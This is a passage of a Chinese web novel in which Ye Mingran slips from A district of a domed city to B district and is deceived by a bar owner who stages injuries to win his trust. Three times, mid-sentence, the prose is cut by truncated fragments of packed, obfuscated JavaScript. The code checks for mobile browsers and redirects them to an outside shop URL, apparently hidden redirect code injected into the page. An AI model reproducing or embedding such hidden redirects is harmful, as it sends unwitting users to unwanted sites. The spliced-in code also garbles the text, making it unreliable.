然后他神不知鬼不觉地用那张不知道怎么抽到的体验券去了一次阳光海滩，因为空中交通最后的起飞就是在那一片海边。 接着他就从B区回到了D区，然后boss找上门来——这是他和“组织”最开始的一次接触。 叶明冉一直以来想不通的是boss究竟为什么找到了他，现在看到出现在记忆影像上面的可疑男人他终于明白了一点。 所谓组织的据点在D区之外，本来就是错的。 这样就讲得通了，为什么D区和E区被吞并的情况下，boss依然表现得十分平静，为什么他说组织并没有消失，反而在A区大摇大摆的出现。 因为组织从来就不是一个外围的东西，它不知何时已经渗透进了离巨蛋只有一步之遥的地方，正在虎视眈眈地看着这片最后的堡垒。 叶明冉的情绪波动，影响了投射在操作空间的巨大记忆投影。 大片的记忆画面随着叶明冉的如同走马灯的记忆，在屏幕上留下一个个扭曲的彩色色块。 这些色块最终从混乱慢慢地变得平整，如同被渐渐平静下来的水波，最终汇成了两个画面。 左边是boss举着拐杖的半边脸咧着嘴的微笑，右边则是海边夕阳下少女掩着眼睛的背影。 在思维极度混乱中出现的画像，充其量不过是之前的画面拼出来的随机组合。 可是，叶明冉知道自己不能再等下去了。 深夜，叶明冉在A区钟楼附近的一条小巷子里面快步奔跑。他走到一面看似是墙的地方，弯下腰从地下挖出了一块砖头。 那块砖头地下居然有一个黑色手腕粗细的洞穴，如果仔细看，还可以从那个洞穴里面发现一个如同枪口的黑洞。 “这个是精密实验室里面新研发出来的屏蔽器，用它穿过A区和B区的隔离带是不会留下行动记录的。”他想起他在出来之前，彼得终于借着操作室维护的名头进了一次操作室，在那个不被监视的空间里面，彼得给了叶明冉一个钥匙形状的磁盘。 巨蛋里面的钥匙都是记忆。“你是没法带着除了你手上戴的那个以外的有形体的东西走出巨蛋的，所以这个东西你得靠植入你的记忆来带出去。”彼得一遍埋头纪录着操作台上面的各种数据，一边说道，“你和赫塞两个人偷偷摸摸想做的事情，我大概也猜到了。你的顾虑自然是这个磁盘会不会是另一个陷阱。不过，你觉得你可以选择么？” 彼得说得轻描淡写，内容却无比露骨的态度。 是了。叶明冉当时苦笑着接过了那段所谓的屏蔽器的记忆——他确实已经别无选择。 叶明冉用手掌包裹住那个黑洞，并没有感受到任何异样——他曾经以为在自己头脑里面植入一段记忆是一件十分危险的事。 也许这是因为彼得是一个极其优秀的神经技师，叶明冉忽然又想起赫塞的话。 至少从植入到现在已经过了十二个小时，其中三个小时叶明冉是在巨蛋之外度过的，他没感到任何异常。 这时候，眼前被砖头的遮住的洞穴忽然开始颤动了起来，在深夜里面窸窸窣窣的声音十分明显。 叶明冉听到不远处传来一声低沉的哨声——这是“猎犬”们的集结号。 不是吧……要不是彼得说这个的“钥匙”可能不灵需要握一会儿，叶明冉可能已经将手抽了出来——他想象了下自己把一只手伸在墙角边上被人发现时候的场景，觉得有一种想把自己埋掉的冲动。 “万一被抓到了……”叶明冉焦虑地想，“这次找个什么借口才能过掉这一关呢？” 仿佛在回答他一样，叶明冉忽然发现自己手被扯进去了一点。 说是“扯”其实有点奇怪，因为叶明冉觉得是他自己握住那个枪口的——这手还抽不出来了。 散乱的脚步声越来越近，叶明冉无奈的发现他的手好像是被黏在里面一样，洞穴抖动地越来越厉害，好像是叶明冉的心跳一样。 “彼得那个混蛋，别其实是和巨蛋里面那伙人是一伙的。”叶明冉在心里咒骂了一把，觉得自己就算是毫无选择，轻信一个怪老头的话跑到这里来的行为还是有点轻率了。 这时候，叶明冉忽然觉得扯着他的手的力量一下子强了很多，简直把他整个人都拉地快要趴到地上了。 这真是一个劣质的恶作剧，叶明冉大半个人都贴在墙上，苦中作乐地想到:“也许我还可以和猎犬们说说我是个搞行为艺术的，半夜来创造我的作品。” 他用同边的脚踹了一下墙，“都是因为信了可以能从你这边过去的鬼话，你倒是给我开门啊？” 这时候，叶明冉听到墙壁忽然传来一阵低沉的声音，像是怒吼一样，与此同时墙居然以叶明冉的身体所在为中间线裂了开来。 叶明冉:…… 他还没有来得及说一句话，就被一股比之前强了很多的力量拽了进去。 三十秒后后，一个猎犬小分队到达了发出声音的地点。 “队长，什么也没有，就是砖头被敲掉了一块。”一个小喽啰走向前面，在墙角那里探头探脑地打量了一下，向一个高大的男人报告到。 “队长”带着墨镜，到鼻子的位置都被一块布蒙着，不知道是怕冷还是怕传染什么病。 他挥了挥手示意小喽啰走开，后者立刻毕恭毕敬地退出了五米之外。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666734|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 高个子的队长蹲了下来，把手伸到墙角下面，似乎在摸索什么。那个退到五米之外的小喽啰见状正要慌忙上前，可是被另一个比他高了半个头的喽啰拦住了。 “别添乱，那是队长在想事情。”年长一点的猎犬踢了一脚小喽啰，把他踢了回去，小喽啰露出了可怜的欲言又止的表情。 这一切队长都视若无睹，他只是一味在地上摸索，缓慢地一寸寸地用手指摸过那一片土地。摸索的时候他的头始终平视前方。 小喽啰显然是个不太识相的，被踢了还是有点跃跃欲试，不服气又谄媚地说道：“我是关心队长……我可以用低下头一寸一寸地看啊，鼻子贴着地面的那种。” “队长”好像是听到了他的话，头往小喽啰那里偏了一下，年长的猎犬面上露出了惊恐的表情，“队长，他昨天才刚进队，什么都不懂。” 队长从鼻子里面轻轻哼了一声。年长的猎犬觉得忽然头皮一麻，两脚都有点站不住了。 只见他们的“队长”保持着一只手在地上摸索的姿势，右手抬了起来——那只手上面带着一只灰色的手套，不知为什么让人有种特别不好的感觉。 小喽啰看着那只手套困惑地“唔”了一声，随之年长的猎犬和周围的一干人差点都给跪了下去，“完了……”他听到一声不知哪里传来的悲鸣。 年长的猎犬只觉得眼前一阵发黑，谁知道队长在四年前去追捕某个人之后就性情大变，变成了现在这副面无表情的诡异的性格。 他还专门去做了巨蛋的志愿者，回来的时候就是这样人不人鬼不鬼的样子了——巨蛋的精密实验室，似乎那段时间热衷于生体的改造。 没有几个人是队长被改造后的右手的——据说那被改造成了什么生化武器，见过的人大多都死了。 所以，每每队长举手的时候，一干人等都有一种命悬一线的惶恐。 忽然，队长的动作停顿了一下，没什么悲喜的表情忽然裂开了一条线，流露出一丝情绪来。 “啊哈哈哈哈，得来全不费工夫。”他忽然大声地笑道，丝毫不顾忌在深夜里面他的狂笑会传播到多远。 他放下了右手，缓缓地站了起来。眼尖的小喽啰看到他的左手指缝上沾满了地下的尘土，但是他手心里紧紧攥着什么东西。 队长对众人的凝视浑然不觉，当然他原本就是看不见的。 他把紧握地左手举到鼻子下面，右手一下子扯开了遮着脸的面罩——边上的猎犬们惊恐地看到，才一个星期自己老大的半边脸已经成了白骨，鼻子上面的皮肤虽然完好无损，但是剩下来的半边脸布满了皱纹，十分狰狞。 队长好像什么也没有感觉到似的，把左手转了个角度，也不管那些泥巴，直接摊开自己的左手手心。 一枚沾了点灰尘的银白色的戒指静静躺在他的手心里。 他的鹰钩鼻在自己手心上嗅了嗅，只有一半的嘴唇露出一个狰狞的笑容。 “CI48865479号……找到你了。” 17. 第 17 章 B区，阳光海岸附近，黎明前。 深蓝色的天与暗黑的海面相接的地方，隐隐约约排列着几个黑块。 如果仔细看看，还会发现那些很快似乎是几座小破房子，前面还竖着类似旗杆的东西——那是一座废弃的空中港口。 自从巨蛋全面禁止空中交通工具之后，位于阳光海滩的这座港口就成了摆设。 只是由于它对阳光海滩开拓的纪念意义，以及它作为最后一座被关闭的港口在巨蛋记忆里面留下痕迹的事实，这堆旧房子居然在阳光海滩的改造计划中存活了下来。 不过，也就是仅仅是“存活”了。对一个娱乐休闲设施而言，无人光顾本身比不存在更像被判了死刑。 这片旧房子，在白天已经无人问津，到了晚上就更加成了一片鬼屋传说肆虐之地。 白天温和的海风到了晚上开始借着黑暗壮大其存在感，把旧小屋的窗子吹得吱吱作响，仿佛这房子就要被拔地而起一样。 无论是谁，都不会想在这时候选择靠近这一片诡异的区域。 忽然，其中一个小屋的窗子里面透出一片微弱的白光，看上去好像在黑夜里面结了一层雾一样。 小屋里面居然坐着两个人，围着中间一团光亮，就像两个在雪夜里面烤火的人。 只是，仔细一看，他们一个人是坐在椅子上的，一个人是半跪在地上的， “呵呵，时间也差不多了，他会不会帮我们将“种子”撒进巨蛋？”坐在椅子上面的人用嘶哑的声音说道，如果叶明冉人在这里可能会觉得吃惊。 不过才两年而已，是什么让BOSS衰老得这么快。 被问的人是一个黑皮肤的少年，和两年前的稚气不同，现在的头发长到了脸颊上。他穿着一身白大褂，和他那以前做机械师的哥哥一样。 “我觉得他不会坐以待毙的。”少年冷漠地开了口。BOSS抬起满是皱纹的眼皮，看了他一眼，他才继续说道："哥哥把散播“种子”的开关留给了我，可惜我发现巨蛋的里面和外面居然有某种阻隔的存在。我们在外面是无法使用这个开关去引爆它的。” BOSS点了点头，少年继续说道：“等待自然触发要的时间太久了,如果他的芯片真的和别人所说的那样一辈子都不坏，那我们还得等上一辈子不成？” BOSS满意地从少年眼里看出几分咬牙切齿来，“在外面引发种子并没有太大的意义。你哥哥设计出这种炸弹，其实心里有什么想法其实已经十分清楚了。他最开始就想着要进入巨蛋才能解决问题。” “我要去巨蛋把他抓出来，问问他为什么要找人来迫害我们，然后在他面前按下这个引爆器。”少年说道。 BOSS轻轻地笑了笑，把手伸向前面那团白色的“火”，近了才发现，那团火其实是一个屏幕的投影。 “你的计划不错，不过前面不对。我们是要和他一起进去。”BOSS轻轻地把那个投影移动到少年眼前。只见那投影像是一个个碎片拼成的，映出的是不同地方的影像。有些画面变化得很快，有些上面有一个黑黑的人影。只有最中间的一块，画面一直没有动——那画面一直映着一个花瓶，里面的花灰黄灰黄的已经枯萎，那是一个花店的一角。 少年看到这个花店，眼角狠狠抽了一下，想要别开目光。 “呵呵，这次不是叫你看这个的。”BOSS从鼻子里面轻轻笑了一声，“这块不是坏了，修不好了么？我是让你看看这个的。”他伸出鸡爪一样的手指，点了左下角的一个角落里面的碎片。 那块碎片化作一个光点顿时飞了出来，投射在最近的墙面上展开了。 “真方便……”BOSS喃喃道，“你哥哥在这方面可是天才。” 少年的眉头狠狠皱了一下，随即被画面上的人吸引了。“B区城防……这是……叶……” 他的声音好像是从咬紧的牙缝里面挤出来发一样。 这时候，刚被莫名其妙拉到B区的叶明冉还没有意识到自己短时间内已经被这么多人惦记上了。 这是他第一次在夜里造访B区，他发现B区虽然靠着海，但比A区冷多了。只穿着一件衬衫的叶明冉被深夜里面的冷风吹得打了个寒颤，然后他捂住自己的嘴的时候忽然发现了不对——他手上那个硌人的小环不在了。 那枚戒指仿佛是跟着叶明冉的手指做的一样，不可能不知不觉消失，叶明冉头一个想法就是是不是在巨蛋被人收走了，可是一想那个严格的检查程序，忽然又觉得不可能。 可他还没有时间细细去思考，忽然B区的街区里面响起了一阵警报声。叶明冉觉得，自己最近该不是自带了什么警铃触发装置吧。这次他到达地地方四通八达到处是小巷，叶明冉迅速地拐进了左手边一条小巷里，紧紧贴着墙，在黑暗里想看看到底会来什么人。 一分钟过去了……警报声戛然而止，居然没有一个人出现。 叶明冉舒了一口气的同时又感到奇怪——B区按理来说是仅次于A区的外围，为什么像个幽灵城市一样?为什么没有“猎犬”? 他想得太过入神，加上黑暗和睡眠剂的副作用让人的感官变得迟钝，导致叶明冉没有发现有一个人从他身后接近了。 那个人伸出手向着一点也没有察觉的叶明冉伸出手，他手上拿着什么东西。 这时候——“是谁在那里？”两人背后传来一阵低低的惊呼，黑暗里面的人影赶紧把手头的东西收了起来。 叶明冉被吓了一跳回过头来，发现小巷里面的声控开关被那阵说话声被触发了，黄晕的路灯下面首先映入他眼帘的是一撮熟悉的红毛。 “老板……”叶明冉有点不可置信地说道，和红毛老板两人面面相觑，然后转眼看了看有点僵硬的第三个人，“卖花的怎么你也在？” 这一刻，叶明冉几乎肯定自己找对地方了，他缓缓把手放到身后，好像要从身上抽出什么似的，用一种防备的姿势看着两个人。 尽管上次一别，叶明冉知道这两个人和BOSS的想法是不一样的，但是最终一个人什么也不懂，另一个无所作为，让叶明冉对这两个人还是有很基本的防卫心。 老板看着叶明冉这个姿势，有点无奈的笑了。他示意少年退后一步，让他来谈，后者低下头退了开去。 “叶明冉，你是不是在怪上次我没有帮你？”老板不闪不避，直接开门见山的问道。 叶明冉没料到他居然这么坦诚，惊讶的表情在脸上停了一秒，“是啊，难道我还要感谢你不成？你在脑子里面植入个莫名其妙的东西试试呢？” 只见老板露出了一种一言难尽的表情，垂下眼睛叹了口气，“那个时候老头在场。而且，我知道那个东西是安全的。那时候不反应才是最正确的吧？你说对不对？” 他并不是在问叶明冉，而是在问身后的少年。少年似乎没有想到他回来这么一着，稍微愣了一下，有点驴头不对马嘴地接了一句，“真是不好意思，我代替我哥哥道歉。”他声音低得像蚊子，而且有点发抖。 如果叶明冉再仔细看一下，也许会发现少年压抑着许多情绪的表情以及紧紧攥住的手指。只是，此刻叶明冉还在为了他戒指心烦意乱着，并没有注意到少年的颤抖是出于愤怒而不是出于害怕的。 平心而论，叶明冉觉得对少年的和他哥哥并没有什么怨恨。在他看来，他们只不过是受BOSS指使的执行者，而且他们和自己素不相识。 可是老板不同，他与老板在D区时代就相识，在那个没有人气也不知道是怎么赚钱的小破酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687773|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馆里面，有着叶明冉对这个世界最初的一点可以称为是“美好”的记忆。 直到老板上次袖手旁观，叶明冉才发现原来那点记忆只不过他一个人的自作多情。 “在组织还在的时候，我与你们也不过是一种互惠互利的关系。更何况组织这个东西早就不在了呢？”叶明冉说道，“不过，这次你们还想要什么？” 叶明冉觉得他这一辈子从来没有这么直截了当地说过话。抛出话的一瞬间叶明冉觉得他自己的大脑仿佛是停滞的，而当说完以后他才开始有点后怕了。 这里是B区，很可能是BOSS现在势力的大本营。红发老板从前就一直在BOSS鞍前马后，也许早就成为了BOSS左膀右臂一般的人物。 在这种天时地利人和都不占优势的情况下，他居然公然挑衅了。 叶明冉努力不让自己露出一丝一毫的胆怯，用一种居高临下的表情和老板对视。 老板显然也是被叶明冉反常的直率给吓到了。只见他先是一愣，在听完了叶明冉说的话仿佛还反应了一下，然后露出一个类似于苦笑的表情来。 “叶明冉，不要这样。我并不是收到了某个命令要对你怎么样的。我只是刚好路过然后看到了你，除了我和这小子以外没有人知道你现在在这里。” 他见叶明冉还是一脸警戒的表情，低声补充道：“刚才过去的那个巡夜的是B区的猎犬，它们的嗅觉比以前要灵敏很多。是我关掉了他们的检测权限。” 他从口袋里面拿出一个类似于鸡蛋的椭圆白球。“我可以随时把他们叫回来，但是我不会。” 他望着叶明冉的眼睛说道:“叶明冉，这次我是你的伙伴。” 叶明冉还没有反应过来，倒是边上的少年猛地抬起了头看了老板一眼。可惜叶明冉没看见少年眼里复杂的表情和一闪而过的惊讶。 “什么意思？”叶明冉问道。 “就是字面上的意思。我已经和他们决裂了。”老板飞快地说道，迅速扫了一眼周围的黑暗，“这里不怎么方便说话，我们换个地方。” 说着，老板匆匆地拉着有点呆愣的少年和没反应过来的叶明冉，走到了一堵墙前面。 那堵墙，居然和A区那个莫名其妙的“入口”挺相似的。只见老板伸手向着墙面推过去，他的半个手掌直接嵌进了墙里——说嵌有点不大合适，他的手就像是直接从墙里穿过去了一样。 叶明冉觉得他的手腕动了动，似乎在里面做了什么细微的操作。 随之他感到一股剧烈的吸引力，就像把他从A区拉向B区的那股力量一样。 不过有所不同的是，在这堵墙面前他所感受到的力量更加强大却也更缥缈——就想要把他的存在本身吞噬掉一样。 叶明冉觉得抓着自己手臂的力量骤然消失，他惊讶地抬起头看见老板的脸渐渐模糊，他知道自己也一定是一样的。 唯一的不同在于，老板的眼神毫无波动显然已经适应了这种特殊的移动方式，而叶明冉不用看也知道自己的表情大概比较僵硬——这种莫名的差距让他在一瞬间感到了一点不甘心。 然而，这点不甘心只是一闪而过。 那种感官消失的体验还没有片刻，叶明冉忽然发现周遭变成了一片黑暗，他听到了木头窗子被吹得吱吱作响的声音，同时嗅到了海风独有的咸味。 黑暗里面忽然亮起了一粒豆大的光点，随之扩大——叶明冉发现老板不知道何时已经点了一只“蜡烛”，没想到居然还有这么古老的东西。 老板解释道：“目前阳光海岸的用电量都是计划分配的，一旦我在这里使用电力就会立刻被发现，这个东西比较方便，以前在D区的时候有人说是从外围贩过来的。” 果然这里是阳光海滩。 18. 第 18 章 叶明冉忽然间领悟到了老板的“诚意”所包含的意思，顿时觉得心里有些复杂。 “为什么？”叶明冉问道。 “不为什么，说了我是你的伙伴，自然要表现一下诚意。”老板转过身，把那盏蜡烛灯放在了身后的桌子上，向着黑暗里面招了一下手。只见少年走了出来，迅速往那个灯上面加了一个罩子。摇曳的烛光顿时变得安稳下来。 老板自己拉开一张椅子坐下来，“如果你问的是我背叛BOSS的原因，那很简单。原本我们这一群人都是因为一个共同的理念才走到了一起的，如果理念变了自然会有人离开。” 叶明冉心里暗想:难道这两年又发生了什么变故?可是嘴上却没有松口:“你们这些人的理念都是说变就变么？” 如果他是在骗我，这表示他一定想从我这里拿什么东西。这到底是什么呢？ 老板叹了一口气，“叶明冉，我知道你只有这么短的记忆，让你对周围一切都存有一种怀疑的情绪。只是，这次我的行为纯属歉意——请接受我对于上次见面时候没有及时采取行动的歉意。” 在叶明冉印象里，老板是个嬉皮笑脸从来不严肃的人，即使真的有什么事情也是一副微笑的模样。他曾经暗地里想过就是因为这样每次他在“组织”里面的地位才提不上去。 歉意这种东西，从老板嘴里吐出来，本身就有一种格外厚重的意味。 “所以你把我叫来这里是要做什么?捣毁他们的大本营?就凭我们几个人？”叶明冉在自己没有察觉的情况下，已经把“你们”换成了“他们”。 注意到这一点的老板微微笑了一下，“很可惜，虽然我有这种志向，可是你也知道凭借我们现在的实力要推翻BOSS是不可能的。不过，”他深深看了一眼叶明冉，“为你夺回自由并不是一件难事。” 叶明冉从的话和注视里面感到了一种别样的期待，他感到喉咙有点渴，听见自己干涩的声音通过颅骨传来，“什么叫我的自由?” 老板没有回答，而是小心翼翼地把手伸进了口袋里，从里面拿出了一朵干枯的雏菊。“她也在这里，在等你。” 叶明冉从他手里结果那朵花，他自己都不知道为什么指尖会抖得那么厉害。 这朵其貌不扬的干花，早看不出来原来的样子和颜色，可是叶明冉记忆里面却能立刻描摹出它盛放时候的样子。 那些无数次看过的记忆，在已经把它和与它一起出现的那个人联系在了一起。 “是她叫我交给你的……”老板说道，他都没有言明是谁，可是他们俩都心知肚明。 “我的自由不是这个……”叶明冉喃喃道，也不知道是要说服自己还是别的什么人，“我根本不认识她……” “是么。”老板打算抽回手，可是叶明冉发现，自己不由自主地把手伸了过去。老板有点无奈地摊开手，注视着叶明冉看向那朵花的表情——有点渴望，又有点迷茫。 “那巧了，她也是这么说的。她说他不认识你，如果我见到了你叫你快点回去。” 他看着叶明冉愣住的表情，叹了口气，直接把那朵花塞到叶明冉手上。“你等我一下，我要去和‘守门人’拿一下‘钥匙’。你……来帮我拿一下火。”说着他直接打开了地下室的门。 “等一下……”叶明冉反应过来，急急忙忙跟了上去。 他记得在巨蛋里面曾经听说过，“守门人”是猎犬的改良品种，无论是嗅觉还是攻击力都强了，而且，比猎犬更加容易嗅出叛徒的味道。 “你不要过来，这里不是你的战场。”老板对着想要跟着下去的叶明冉说。“他们认识我的味道，并不认识你的，所以我和他两个人去就行。” 地下室里，一扇门紧紧锁上的门前，传来一阵咳嗽声。 摇曳的烛光把他的影子打在墙上，影子弯着腰在一堆杂物里面翻找着什么。五步以外，少年面无表情地举着一支蜡烛，一动不动仿佛成了一个烛台。 半刻钟之后，影子直起了身子，打了个呵欠。“你好像很安静啊，刚才看人的眼神就像要杀人似的，要不说那个小子今天眼睛比较瞎怕是早就漏了底。”他随口调侃到。 “比不上你……”沉默了片刻，少年才说道。“只是我不大明白为什么我们要在这里装模作样地消磨时间。‘钥匙’不是本来就由你保管的么？装模作样的‘守门人’。” 老板举起刚才从一堆灰里面翻出来的一个小盒子，拍了拍上面的灰，看着少年嫌弃却不躲闪的皱眉的样子，笑了出来。 “虽然这次到这里好像很成功，但是叶明冉这个人的观察力其实是很敏锐的。”老板说道，露出一丝有点得意的笑容，“不过，他这个人的弱点是，一旦牵扯到别人为他付出了什么，就几乎是个呆子。所以，我们必须在这里多呆一会儿，而且得做出很惨的样子回去。” 少年奇道:“难道还要为了骗他下水弄得遍体鳞伤?我真的不明白了，这个叶明冉这么普通一个人，为什么Boss要这么看中他的能力。要是给我来……”他眼睛里面埋没已久的戾气终于显露了出来，“我恨不得直接把他的皮剥下来去复制一份进巨蛋。” 老板听到这个恶毒的想法，想象了下那个场景忽然有点恶寒。设么时候，那个在花店笑容爽朗，每天兢兢业业卖花的少年变成这个样子了呢，“我说，你哥的事情其实不能……”他忍不住说道，却忽然被少年充满恨意的眼神瞪了回来。 “都是他，如果不是这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715308|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人闯入我们的生活，我哥根本就不会去接这份所谓记忆隔离的活，也不会被巨蛋带走，一去不返。”少年说到，眼睛垂了下来看着布满灰尘的地板，“听说巨蛋的活体实验室，根本就没有人活着回来过。” 老板看着他的样子，很想伸出手去摸摸他的头，安慰一下他。可是他的手根本还没有碰到少年的头发，就被粗暴地打开了。“不要以为你们就可以完全脱开关系！你们……你们也是……”他忽然像是梗到了一般，剧烈地无声地喘息着，发不出一丝声音。 老板看着他的眼神渐渐冷了下去，“‘枷锁’终于生效了？”他一点也不温柔地把手放在少年的头发上，动作与其是在抚摸不如说是在把他的头拼命按下去，“坏话说多了的人，是要受到惩罚的。” 看到少年要窒息的模样，他忽然又觉得没有意思一样，把他像一团什么东西一样按在了地上。“咳咳……咳……”少年发不出一丝声音，可以看到冷汗顺着他的额角留下来，可以想见他很痛苦。 老板兴趣缺缺地看着少年，然后像看一团垃圾一样别开了目光，打开了翻出来的小盒子——里面居然有一套现在看起来非常落后的语音通信设备。 “对，我已经把他引过来了。接下来就带他去找目标。”老板迅速地接好了这个旧时代的通讯工具，一拨通就立刻开始说话，“对啊，挺好骗的。就是到时候希望那边的‘猎犬’可以稍微放点水，‘守门人’就不用了吧，我已经说我在拿钥匙的时候会过守门人了。什么？你说怎么制造战斗过的痕迹？” 这时候老板才像终于想起了什么一样，看向少年，少年被他波澜不惊的目光照得打了一个寒战，“放心吧，我不会受什么伤的。有个小子在这里可以给我用一下。只要做的好一点，叶明冉准会上钩的。我挂了，时间差不多了。” 老板挂了电话，看到看向少年的眼睛里面全是温柔的笑意，却让少年觉得毛骨悚然，“我的计划BOSS已经同意了，你需要为了我们的大业做一点小小的牺牲。” 他特别强调了“小小的”这个词，却让少年觉得浑身冰冷，“枷锁”带来的痛苦仿佛一下子减轻了很多，因为与之相比眼前的威胁淹没了他。 他看见老板伸出来的手忽然指节暴涨，如同钢铁一般的灰黑色骨结撑破了皮肤。那是被称为“守门人”的改造者的骨骼，泛着如同钨钢一般哑黑的色泽。 少年见过那个凶器杀人的模样。 老板看着少年恐惧的表情，露出了满意的笑意，然后将伸长的坚硬的手指在自己的脸上轻轻的划了一道——一道横过半边脸颊的血顿时顺着伤口流了下来，如同他的红发盖在了脸上。 “该你了。”老板抬起手，向着一动也不能动的少年走过去。 19. 第 19 章 叶明冉端坐在桌子上，借着微弱的烛光看着手上那朵干花发呆。 老板说地下室的门没法从里面打开，所以要叶明冉在这里等着。也算是给他派了一个任务。 “你看这个门，虽然里面有个门栓，其实就是个摆设。”老板进去前曾经给他看过那扇门的构造。他把那个摆设的门栓拆下来给叶明冉看，“古典时期就是喜欢这种没有实用性的美感。” 叶明冉其实当时挺好奇他怎么还有心情开玩笑的。 一天从A取跨越到B区遇到的事情让他有些措手不及，只是在老板和少年进入地下室去找所谓的“守门人”之后的一个小时，叶明冉终于有机会平静下来思考这个事态的发展了。 巨蛋的出入时限24小时，距离他回去已经只有15个小时了。不知道B区去A区是否还有快速通道可以通过，不然如果利用阳光海岸的交通系统，叶明冉觉得自己可能光是要回到B区与A区的正常入口就需要五个小时左右。 叶明冉在脑子里面迅速过了一下时间，发现自己能在这里发呆的时间并不多。 到底老板他们怎么样了？这个忽然的转变是怎么回事？ 以及，他真的要再回到那个地方去么？ 那个封闭的什么都没有的无聊的数据库值得他回去么？ 这时候，老板刚才的话忽然浮现了上来——“自由” 叶明冉想到这个词，忽然觉得从心底浮现出一丝莫名的期待。 他无法否认，刚才老板的话触动了他，这就是他在这个不知底细的地方等了一个多小时的原因。 什么是自由呢？叶明冉忽然觉得心里浮现出一种无法抑制的迷茫来。 最开始他以为跟着“组织”能够找回自己过去的记忆。可是随着他莫名其妙进入巨蛋，组织的野心越来越令人难以捉摸，以及现在这个手头什么东西都没有的情况，叶明冉隐隐约约觉得自由似乎不是他之前所想的那个简单的东西。 和弯镰刀以及老板一起喝酒的日子何其自由。叶明冉脑海里面忽然冒出一个念头，这个念头继而让他把注意力集中在手头的干花上，催生出另一个匪夷所思的想法。 “要是我和她一起离开这里，两个人一起去外围的话。” 这个想法一冒出来，叶明冉自己都觉得有些可笑了。 一是因为他自己都不清楚外围到底是个什么地方，没有人从里面出来过。与其说是“去外0围”倒不如说是被哪里所吞噬了。叶明冉想起了弯镰刀——不知道他现在到底过着怎样的生活了，如果他还存在在这个世上的话。 二是他不知道他想带走的人会不会和他走。 综上，叶明冉得出了自己的想法其实是毫无头绪和根据的。 然而，无论人是多么理性的，总是会有一瞬间会被感性吞没。 就像叶明冉答应言行举止都很说不清的老板在这里等，就像这一刻，他是沉浸在一种无比美好的却没有任何依据的想象中。 这时候，忽然叶明冉觉得地下传来一阵轻微却急促的敲击声。 那声音在空荡荡的房间里面格外刺耳，叶明冉有点汗倒立的感觉，不由自主地问了一句:“谁”。 回答他的是一阵撕心裂肺的咳嗽声，里面夹杂着让人很不愉快的粘稠质感，好像一个重伤的人正在竭力想着竭力出身却什么声音都发不出来的样子。 叶明冉却莫名觉得那个感觉有点熟悉。他的本能感到了危险，手却不受控制地打开了刚才那扇老板走前千叮万嘱叫他不要打开的门。 叶明冉手发抖地打开了那个门栓，却发现要推开它有些费力，好像有什么东西把它堵住了一样。 他稍微用了一下力，随着什么东西倒下的声音，门吱呀一下开了。 比小屋里面显得更加腐朽的空气，伴着一股浓重的血腥味迎面扑来而来，让叶明冉觉得眼睛都有点刺痛。 数秒后，叶明冉才意识到地上倒着的那个不是“东西”，而是一个人，然而他火红色的头发几乎和地上的血混在了一起，如果不是背部还有微弱的起伏，叶明冉几乎怀疑他是否还活着。 “……你……怎么了？”叶明冉太怀疑自己的眼睛，连忙赶上前去。身后的门不知道被什么东西带动，砰地一声关上了。 叶明冉发现，老板的居然找不到一个可以碰的地方，叶明冉有种错觉，如果他稍微移动他一下，他的呼吸也许就会因此停止了。 “到底是怎么回事？”叶明冉轻轻地问道，尽管他也不知道他在问谁。 因为显然，眼前的这个人不会给他答案了。 “扶我……”老板这时候发出了微弱的声音，叶明冉震惊于他还能说话，但害怕这是以前在词典上读过的那个无法理解的词——“回光返照”。 叶明冉呆愣了一会儿，直到那个吃力的声音再次挤出“扶……我……”两个字。 叶明冉从那微弱的声音里面听出一种异常的执着来，他强迫自己从上到下打量了一下眼前正在迅速失去生气的人，终于在发现左肩似乎有一块还没有被血浸透的地方。 叶明冉小心翼翼地把手伸向他的肩膀，一咬牙就把老板的身体翻了过来。 正面似乎比背面更加惨不忍睹，叶明冉看到了他的腹部似乎都塌了下去。叶明冉意识到也许那大量的血的来源就是那里。 更加浓重的血腥味一下子扑鼻而来，叶明冉却因为别的原因闭上了眼。 隐约中叶明冉似乎听到老板笑了一声，“谢……谢……了，如果能帮我……把这团破布扔掉……那就更好了么”，那声音似乎比刚才有了一点活力。 叶明冉不可置信地看向老板，发现他居然睁开了眼睛，尽管毫无生气却有交点。 叶明冉看了一眼所说的“破布”——就是他衬衣的下摆。 “你要我把这个拿开?”叶明冉问道。 老板点了点头，叶明冉总觉得他还能动这件事情本身就是一个奇迹。 叶明冉咬咬牙，小心翼翼地把染血的衬衫掀了开来。 他十分惊讶地发现，居然有一股力量和他在争夺那块布，而且并不是黏住的血液。 老板脸上露出了痛苦的表情，但是他说出来的话却是，“把它拉出来。” 这年头还有人赶着作死么？ 